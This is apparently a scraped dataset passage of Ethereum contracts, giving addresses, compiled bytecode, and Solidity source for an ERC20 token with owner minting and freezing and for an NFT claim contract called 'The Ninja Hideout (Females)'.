1580156121a8573d6000803e3d6000fd5b505050505050505050565b6001546001600160a01b038481169116141561226c576001546121e19084906001600160a01b0316846127f1565b6001546040517f2e1a7d4d000000000000000000000000000000000000000000000000000000008152600481018490526001600160a01b0390911690632e1a7d4d906024016020604051808303816000875af1158015612245573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122699190612e3a565b91505b6001546122bd906001600160a01b03858116911614156122a05773a0b86991c6218b36c1d19d4a2e9eb0ce3606eb486122a2565b835b7368b3465833fb72a70ecdf485e0e4c7bd8665fc45846127f1565b604080516080810182526001600160a01b0385166000908152600660205291822080548291906122ec90612f9b565b80601f016020809104026020016040519081016040528092919081815260200182805461231890612f9b565b80156123655780601f1061233a57610100808354040283529160200191612365565b820191906000526020600020905b81548152906001019060200180831161234857829003601f168201915b505050918352505030602082015260408082018690526060909101849052517fb858183f0000000000000000000000000000000000000000000000000000000081529091507368b3465833fb72a70ecdf485e0e4c7bd8665fc459063b858183f906123d4908490600401613294565b6020604051808303816000875af11580156123f3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124179190612e3a565b5050505050565b6040516001600160a01b0383166024820152604481018290526124e59084907fa9059cbb00000000000000000000000000000000000000000000000000000000906064015b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff0000000000000000000000000000000000000000000000000000000090931692909217909152612933565b505050565b80158061257d57506040517fdd62ed3e0000000000000000000000000000000000000000000000000000000081523060048201526001600160a01b03838116602483015284169063dd62ed3e90604401602060405180830381865afa158015612557573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061257b9190612e3a565b155b6125ef5760405162461bcd60e51b815260206004820152603660248201527f5361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f60448201527f20746f206e6f6e2d7a65726f20616c6c6f77616e6365000000000000000000006064820152608401610782565b6040516001600160a01b0383166024820152604481018290526124e59084907f095ea7b30000000000000000000000000000000000000000000000000000000090606401612463565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015281906000906001600160a01b038316906370a0823190602401602060405180830381865afa15801561269a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126be9190612e3a565b9050801561271d576003546126e0906001600160a01b0384811691168361241e565b6040516001600160a01b03841681527ffffe9c6062d03a43f0677eeda8831f7a9fa483cb69f28d2cdb465e84449a21409060200160405180910390a15b6001600160a01b03831673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc214156124e557478015612783576003546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612417573d6000803e3d6000fd5b50505050565b600080546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f095ea7b300000000000000000000000000000000000000000000000000000000179052915160009283929087169161287b91906132e3565b6000604051808303816000865af19150503d80600081146128b8576040519150601f19603f3d011682016040523d82523d6000602084013e6128bd565b606091505b50915091508180156128e75750805115806128e75750808060200190518101906128e79190612f79565b6124175760405162461bcd60e51b815260206004820152600260248201527f53410000000000000000000000000000000000000000000000000000000000006044820152606401610782565b6000612988826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612a189092919063ffffffff16565b8051909150156124e557808060200190518101906129a69190612f79565b6124e55760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f742073756363656564000000000000000000000000000000000000000000006064820152608401610782565b6060612a278484600085612a31565b90505b9392505050565b606082471015612aa95760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60448201527f722063616c6c00000000000000000000000000000000000000000000000000006064820152608401610782565b843b612af75760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610782565b600080866001600160a01b03168587604051612b1391906132e3565b60006040518083038185875af1925050503d8060008114612b50576040519150601f19603f3d011682016040523d82523d6000602084013e612b55565b606091505b5091509150612b65828286612b70565b979650505050505050565b60608315612b7f575081612a2a565b825115612b8f5782518084602001fd5b8160405162461bcd60e51b81526004016107829190612d96565b828054612bb590612f9b565b90600052602060002090601f016020900481019282612bd75760008555612c1d565b82601f10612bf057805160ff1916838001178555612c1d565b82800160010185558215612c1d579182015b82811115612c1d578251825591602001919060010190612c02565b50612c29929150612c2d565b5090565b5b80821115612c295760008155600101612c2e565b80356001600160a01b0381168114612c5957600080fd5b919050565b600060208284031215612c7057600080fd5b612a2a82612c42565b60008083601f840112612c8b57600080fd5b50813567ffffffffffffffff811115612ca357600080fd5b6020830191508360208260051b8501011115612cbe57600080fd5b9250929050565b60008060208385031215612cd857600080fd5b823567ffffffffffffffff811115612cef57600080fd5b612cfb85828601612c79565b90969095509350505050565b600060208284031215612d1957600080fd5b5035919050565b60005b83811015612d3b578181015183820152602001612d23565b838111156127835750506000910152565b60008151808452612d64816020860160208601612d20565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b602081526000612a2a6020830184612d4c565b60008060008060008060808789031215612dc257600080fd5b612dcb87612c42565b9550612dd960208801612c42565b9450604087013567ffffffffffffffff80821115612df657600080fd5b612e028a838b01612c79565b90965094506060890135915080821115612e1b57600080fd5b50612e2889828a01612c79565b979a9699509497509295939492505050565b600060208284031215612e4c57600080fd5b5051919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612eba57612eba612e53565b500290565b600082612ef5577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600082821015612f3b57612f3b612e53565b500390565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f7257612f72612e53565b5060010190565b600060208284031215612f8b57600080fd5b81518015158114612a2a57600080fd5b600181811c90821680612faf57607f821691505b60208210811415612fe9577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b60006020828403121561300157600080fd5b815160ff81168114612a2a57600080fd5b6000821982111561302557613025612e53565b500190565b60006020828403121561303c57600080fd5b813562ffffff81168114612a2a57600080fd5b6001600160a01b0383168152600060206040818401526000845481600182811c91508083168061308057607f831692505b8583108114156130b7577f4e487b710000000000000000000000000000000000000000000000000000000085526022600452602485fd5b60408801839052606088018180156130d6576001811461310557613130565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00861682528782019650613130565b60008b81526020902060005b8681101561312a57815484820152908501908901613111565b83019750505b50949a9950505050505050505050565b600060ff821660ff84168082101561315a5761315a612e53565b90039392505050565b600181815b808511156131bc57817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048211156131a2576131a2612e53565b808516156131af57918102915b93841c9390800290613168565b509250929050565b6000826131d35750600161327f565b816131e05750600061327f565b81600181146131f657600281146132005761321c565b600191505061327f565b60ff84111561321157613211612e53565b50506001821b61327f565b5060208310610133831016604e8410600b841016171561323f575081810a61327f565b6132498383613163565b807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0482111561327b5761327b612e53565b0290505b92915050565b6000612a2a60ff8416836131c4565b6020815260008251608060208401526132b060a0840182612d4c565b90506001600160a01b03602085015116604084015260408401516060840152606084015160808401528091505092915050565b600082516132f5818460208701612d20565b919091019291505056fea26469706673582212207ff05967964a9c8b178c9186483ac92026105d18529181137c418c11012be2f864736f6c634300080b0033
[ 4, 11, 9, 12, 5 ]
0xf2e1f0f6d76b60963b46ee9ddb6797696a0b64ee
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract MyAdvancedToken is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function MyAdvancedToken( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { require (mintedAmount <= 52000000 * 10 ** uint256(decimals)); balanceOf[target] += mintedAmount; totalSupply += mintedAmount; require (totalSupply <= 52000000 * 10 ** uint256(decimals)); emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { address myAddress = this; require(myAddress.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks } }
0x6060604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305fefda7811461012c57806306fdde0314610147578063095ea7b3146101d157806318160ddd1461020757806323b872dd1461022c578063313ce5671461025457806342966c681461027d5780634b7503341461029357806370a08231146102a657806379c65068146102c557806379cc6790146102e75780638620410b146103095780638da5cb5b1461031c57806395d89b411461034b578063a6f2ae3a1461035e578063a9059cbb14610366578063b414d4b614610388578063cae9ca51146103a7578063dd62ed3e1461040c578063e4849b3214610431578063e724529c14610447578063f2fde38b1461046b575b600080fd5b341561013757600080fd5b61014560043560243561048a565b005b341561015257600080fd5b61015a6104b0565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561019657808201518382015260200161017e565b50505050905090810190601f1680156101c35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dc57600080fd5b6101f3600160a060020a036004351660243561054e565b604051901515815260200160405180910390f35b341561021257600080fd5b61021a6105ba565b60405190815260200160405180910390f35b341561023757600080fd5b6101f3600160a060020a03600435811690602435166044356105c0565b341561025f57600080fd5b610267610637565b60405160ff909116815260200160405180910390f35b341561028857600080fd5b6101f3600435610640565b341561029e57600080fd5b61021a6106cb565b34156102b157600080fd5b61021a600160a060020a03600435166106d1565b34156102d057600080fd5b610145600160a060020a03600435166024356106e3565b34156102f257600080fd5b6101f3600160a060020a03600435166024356107e6565b341561031457600080fd5b61021a6108c2565b341561032757600080fd5b61032f6108c8565b604051600160a060020a03909116815260200160405180910390f35b341561035657600080fd5b61015a6108d7565b610145610942565b341561037157600080fd5b6101f3600160a060020a0360043516602435610962565b341561039357600080fd5b6101f3600160a060020a0360043516610978565b34156103b257600080fd5b6101f360048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061098d95505050505050565b341561041757600080fd5b61021a600160a060020a0360043581169060243516610abb565b341561043c57600080fd5b610145600435610ad8565b341561045257600080fd5b610145600160a060020a03600435166024351515610b3b565b341561047657600080fd5b610145600160a060020a0360043516610bc7565b60005433600160a060020a039081169116146104a557600080fd5b600791909155600855565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105465780601f1061051b57610100808354040283529160200191610546565b820191906000526020600020905b81548152906001019060200180831161052957829003601f168201915b505050505081565b600160a060020a03338116600081815260066020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60045481565b600160a060020a038084166000908152600660209081526040808320339094168352929052908120548211156105f557600080fd5b600160a060020a038085166000908152600660209081526040808320339094168352929052208054839003905561062d848484610c11565b5060019392505050565b60035460ff1681565b600160a060020a0333166000908152600560205260408120548290101561066657600080fd5b600160a060020a03331660008181526005602052604090819020805485900390556004805485900390557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a2506001919050565b60075481565b60056020526000908152604090205481565b60005433600160a060020a039081169116146106fe57600080fd5b60035460ff16600a0a63031975000281111561071957600080fd5b600160a060020a03821660009081526005602052604090208054820190556004805482019081905560035460ff16600a0a63031975000290111561075c57600080fd5b30600160a060020a031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a381600160a060020a031630600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35050565b600160a060020a0382166000908152600560205260408120548290101561080c57600080fd5b600160a060020a038084166000908152600660209081526040808320339094168352929052205482111561083f57600080fd5b600160a060020a038084166000818152600560209081526040808320805488900390556006825280832033909516835293905282902080548590039055600480548590039055907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a250600192915050565b60085481565b600054600160a060020a031681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105465780601f1061051b57610100808354040283529160200191610546565b60006008543481151561095157fe5b04905061095f303383610c11565b50565b600061096f338484610c11565b50600192915050565b60096020526000908152604090205460ff1681565b60008361099a818561054e565b15610ab35780600160a060020a0316638f4ffcb1338630876040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610a50578082015183820152602001610a38565b50505050905090810190601f168015610a7d5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610a9e57600080fd5b5af11515610aab57600080fd5b505050600191505b509392505050565b600660209081526000928352604080842090915290825290205481565b60075430908202600160a060020a038216311015610af557600080fd5b610b00333084610c11565b33600160a060020a03166108fc60075484029081150290604051600060405180830381858888f193505050501515610b3757600080fd5b5050565b60005433600160a060020a03908116911614610b5657600080fd5b600160a060020a03821660009081526009602052604090819020805460ff19168315151790557f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a5908390839051600160a060020a039092168252151560208201526040908101905180910390a15050565b60005433600160a060020a03908116911614610be257600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0382161515610c2657600080fd5b600160a060020a03831660009081526005602052604090205481901015610c4c57600080fd5b600160a060020a0382166000908152600560205260409020548181011015610c7357600080fd5b600160a060020a03831660009081526009602052604090205460ff1615610c9957600080fd5b600160a060020a03821660009081526009602052604090205460ff1615610cbf57600080fd5b600160a060020a038084166000818152600560205260408082208054869003905592851680825290839020805485019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9084905190815260200160405180910390a35050505600a165627a7a7230582075139c4689da669b8cc30ea05ce2ed6f09b96dca3fcf80260e1cc15888bddcb50029
[ 38 ]
0xf2e1f3ef0c686c259cc6e623aee2e25a8add6a81
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./ERC721.sol"; import "./Ownable.sol"; import "./ITheNinjaHideout.sol"; contract TheFemaleNinjaHideout is ERC721, Ownable { using Strings for uint256; uint256 public constant MAX_NINJAS = 444; uint256 public reservedNinjas = 44; // Withdrawal addresses address public constant ADD = 0xa64b407D4363E203F682f7D95eB13241B039E580; bool public claimStarted; mapping(uint256 => bool) public claimed; ITheNinjaHideout public ITNH = ITheNinjaHideout(0x97e41d5cE9C8cB1f83947ef82a86E345Aed673F3); constructor() ERC721("The Ninja Hideout (Females)", "TNHF") {} function gift(address[] calldata receivers) external onlyOwner { require(totalSupply() + receivers.length <= MAX_NINJAS, "MAX_MINT"); require(receivers.length <= reservedNinjas, "No reserved ninjas left"); for (uint256 i = 0; i < receivers.length; i++) { reservedNinjas--; _safeMint(receivers[i], totalSupply()); } } function claim() external returns (bool) { require(claimStarted, "Claim not started!"); require(!_isContract(msg.sender), "Caller cannot be a contract"); require( ITNH.tokensOfOwner(_msgSender()).length > 1, "Not enough to claim" ); uint256[] memory ownedTokens = ITNH.tokensOfOwner(_msgSender()); uint256 claimCount = 0; uint256 firstClaim; for (uint256 i = 0; i < ownedTokens.length; i++) { if (!claimed[ownedTokens[i]]) { if (claimCount == 0) firstClaim = ownedTokens[i]; claimCount++; claimed[ownedTokens[i]] = true; } if (claimCount == 2) { claimCount = 0; if (totalSupply() < MAX_NINJAS) { uint256 tokenIndex = totalSupply(); _safeMint(_msgSender(), tokenIndex); } } } if (claimCount == 1) claimed[firstClaim] = false; return true; } function claimableAmount() external view returns (uint256) { uint256[] memory ownedTokens = ITNH.tokensOfOwner(_msgSender()); uint256 claimCount = 0; for (uint256 i = 0; i < ownedTokens.length; i++) { if (!claimed[ownedTokens[i]]) { claimCount++; } } return claimCount; } function isClaimed(uint256 tokenId) external view returns (bool) { return claimed[tokenId]; } function tokensOfOwner(address _owner) external view returns (uint256[] memory) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); for (uint256 i; i < tokenCount; i++) { result[i] = tokenOfOwnerByIndex(_owner, i); } return result; } } function tokenURI(uint256 tokenId) public view override returns (string memory) { require(tokenId < totalSupply(), "Token not exist."); string memory _tokenURI = _tokenUriMapping[tokenId]; //return tokenURI if it is set if (bytes(_tokenURI).length > 0) { return _tokenURI; } //If tokenURI is not set, concatenate the tokenID to the baseURI. return string(abi.encodePacked(baseURI(), tokenId.toString(), ".json")); } function toggleClaim() public onlyOwner { claimStarted = !claimStarted; } function setBaseURI(string memory _newBaseURI) public onlyOwner { _setBaseURI(_newBaseURI); } function setTokenURI(uint256 tokenId, string memory _tokenURI) public onlyOwner { _setTokenURI(tokenId, _tokenURI); } function withdrawAll() public payable onlyOwner { //withdraw half require( payable(ADD).send(address(this).balance), "Withdraw Unsuccessful" ); } function _isContract(address _addr) internal view returns (bool) { uint32 _size; assembly { _size := extcodesize(_addr) } return (_size > 0); } }
0x6080604052600436106102045760003560e01c80637018d29811610118578063a22cb465116100a0578063c87b56dd1161006f578063c87b56dd146105b7578063d1129745146105d7578063dbe7e3bd146105ec578063e985e9c51461061c578063f2fde38b1461066557600080fd5b8063a22cb46514610548578063a556f84614610568578063b88d4fde1461057d578063c1664b131461059d57600080fd5b8063853828b6116100e7578063853828b6146104c75780638da5cb5b146104cf57806395d89b41146104ed5780639e34070f146105025780639ec9986b1461053257600080fd5b80637018d2981461044f57806370a0823114610465578063715018a6146104855780638462151c1461049a57600080fd5b8063284fad6c1161019b5780634f6ccce71161016a5780634f6ccce7146103b257806355f804b3146103d2578063562f9e47146103f25780636352211e1461041a5780636c0360eb1461043a57600080fd5b8063284fad6c1461033d5780632f745c591461035d57806342842e0e1461037d5780634e71d92d1461039d57600080fd5b8063162094c4116101d7578063162094c4146102ba578063163e1e61146102da57806318160ddd146102fa57806323b872dd1461031d57600080fd5b806301ffc9a71461020957806306fdde031461023e578063081812fc14610260578063095ea7b314610298575b600080fd5b34801561021557600080fd5b5061022961022436600461241c565b610685565b60405190151581526020015b60405180910390f35b34801561024a57600080fd5b506102536106c5565b60405161023591906125ec565b34801561026c57600080fd5b5061028061027b366004612487565b610757565b6040516001600160a01b039091168152602001610235565b3480156102a457600080fd5b506102b86102b33660046122db565b6107e4565b005b3480156102c657600080fd5b506102b86102d536600461249f565b6108fa565b3480156102e657600080fd5b506102b86102f5366004612304565b610932565b34801561030657600080fd5b5061030f610a74565b604051908152602001610235565b34801561032957600080fd5b506102b86103383660046121ed565b610a85565b34801561034957600080fd5b50600f54610280906001600160a01b031681565b34801561036957600080fd5b5061030f6103783660046122db565b610ab6565b34801561038957600080fd5b506102b86103983660046121ed565b610adf565b3480156103a957600080fd5b50610229610afa565b3480156103be57600080fd5b5061030f6103cd366004612487565b610e57565b3480156103de57600080fd5b506102b86103ed366004612454565b610e6d565b3480156103fe57600080fd5b5061028073a64b407d4363e203f682f7d95eb13241b039e58081565b34801561042657600080fd5b50610280610435366004612487565b610ea3565b34801561044657600080fd5b50610253610ecb565b34801561045b57600080fd5b5061030f6101bc81565b34801561047157600080fd5b5061030f6104803660046121a1565b610eda565b34801561049157600080fd5b506102b8610f66565b3480156104a657600080fd5b506104ba6104b53660046121a1565b610f9c565b60405161023591906125a8565b6102b8611073565b3480156104db57600080fd5b50600b546001600160a01b0316610280565b3480156104f957600080fd5b50610253611110565b34801561050e57600080fd5b5061022961051d366004612487565b6000908152600e602052604090205460ff1690565b34801561053e57600080fd5b5061030f600c5481565b34801561055457600080fd5b506102b86105633660046122a1565b61111f565b34801561057457600080fd5b5061030f6111e4565b34801561058957600080fd5b506102b8610598366004612228565b6112f2565b3480156105a957600080fd5b50600d546102299060ff1681565b3480156105c357600080fd5b506102536105d2366004612487565b61132a565b3480156105e357600080fd5b506102b8611457565b3480156105f857600080fd5b50610229610607366004612487565b600e6020526000908152604090205460ff1681565b34801561062857600080fd5b506102296106373660046121bb565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b34801561067157600080fd5b506102b86106803660046121a1565b611495565b60006301ffc9a760e01b6001600160e01b0319831614806106bf57506001600160e01b0319821660009081526020819052604090205460ff165b92915050565b6060600780546106d49061278e565b80601f01602080910402602001604051908101604052809291908181526020018280546107009061278e565b801561074d5780601f106107225761010080835404028352916020019161074d565b820191906000526020600020905b81548152906001019060200180831161073057829003601f168201915b5050505050905090565b60006107628261152d565b6107c85760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600560205260409020546001600160a01b031690565b60006107ef82610ea3565b9050806001600160a01b0316836001600160a01b0316141561085d5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016107bf565b336001600160a01b038216148061087957506108798133610637565b6108eb5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016107bf565b6108f5838361153a565b505050565b600b546001600160a01b031633146109245760405162461bcd60e51b81526004016107bf90612651565b61092e82826115a8565b5050565b600b546001600160a01b0316331461095c5760405162461bcd60e51b81526004016107bf90612651565b6101bc81610968610a74565b6109729190612708565b11156109ab5760405162461bcd60e51b815260206004820152600860248201526713505617d352539560c21b60448201526064016107bf565b600c548111156109fd5760405162461bcd60e51b815260206004820152601760248201527f4e6f207265736572766564206e696e6a6173206c65667400000000000000000060448201526064016107bf565b60005b818110156108f557600c8054906000610a1883612777565b9190505550610a62838383818110610a4057634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a5591906121a1565b610a5d610a74565b611631565b80610a6c816127c3565b915050610a00565b6000610a80600261164b565b905090565b610a8f3382611656565b610aab5760405162461bcd60e51b81526004016107bf90612686565b6108f5838383611740565b6001600160a01b0382166000908152600160205260408120610ad890836118c1565b9392505050565b6108f5838383604051806020016040528060008152506112f2565b600d5460009060ff16610b445760405162461bcd60e51b8152602060048201526012602482015271436c61696d206e6f7420737461727465642160701b60448201526064016107bf565b333b63ffffffff1615610b995760405162461bcd60e51b815260206004820152601b60248201527f43616c6c65722063616e6e6f74206265206120636f6e7472616374000000000060448201526064016107bf565b600f546001906001600160a01b0316638462151c336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160006040518083038186803b158015610bed57600080fd5b505afa158015610c01573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610c299190810190612374565b5111610c6d5760405162461bcd60e51b81526020600482015260136024820152724e6f7420656e6f75676820746f20636c61696d60681b60448201526064016107bf565b600f546000906001600160a01b0316638462151c336040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160006040518083038186803b158015610cc157600080fd5b505afa158015610cd5573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610cfd9190810190612374565b9050600080805b8351811015610e2c57600e6000858381518110610d3157634e487b7160e01b600052603260045260246000fd5b60209081029190910181015182528101919091526040016000205460ff16610de45782610d8357838181518110610d7857634e487b7160e01b600052603260045260246000fd5b602002602001015191505b82610d8d816127c3565b9350506001600e6000868481518110610db657634e487b7160e01b600052603260045260246000fd5b6020026020010151815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8260021415610e1a57600092506101bc610dfc610a74565b1015610e1a576000610e0c610a74565b9050610e183382611631565b505b80610e24816127c3565b915050610d04565b508160011415610e4d576000818152600e60205260409020805460ff191690555b6001935050505090565b600080610e656002846118cd565b509392505050565b600b546001600160a01b03163314610e975760405162461bcd60e51b81526004016107bf90612651565b610ea0816118e9565b50565b60006106bf8260405180606001604052806029815260200161287d60299139600291906118fc565b6060600a80546106d4906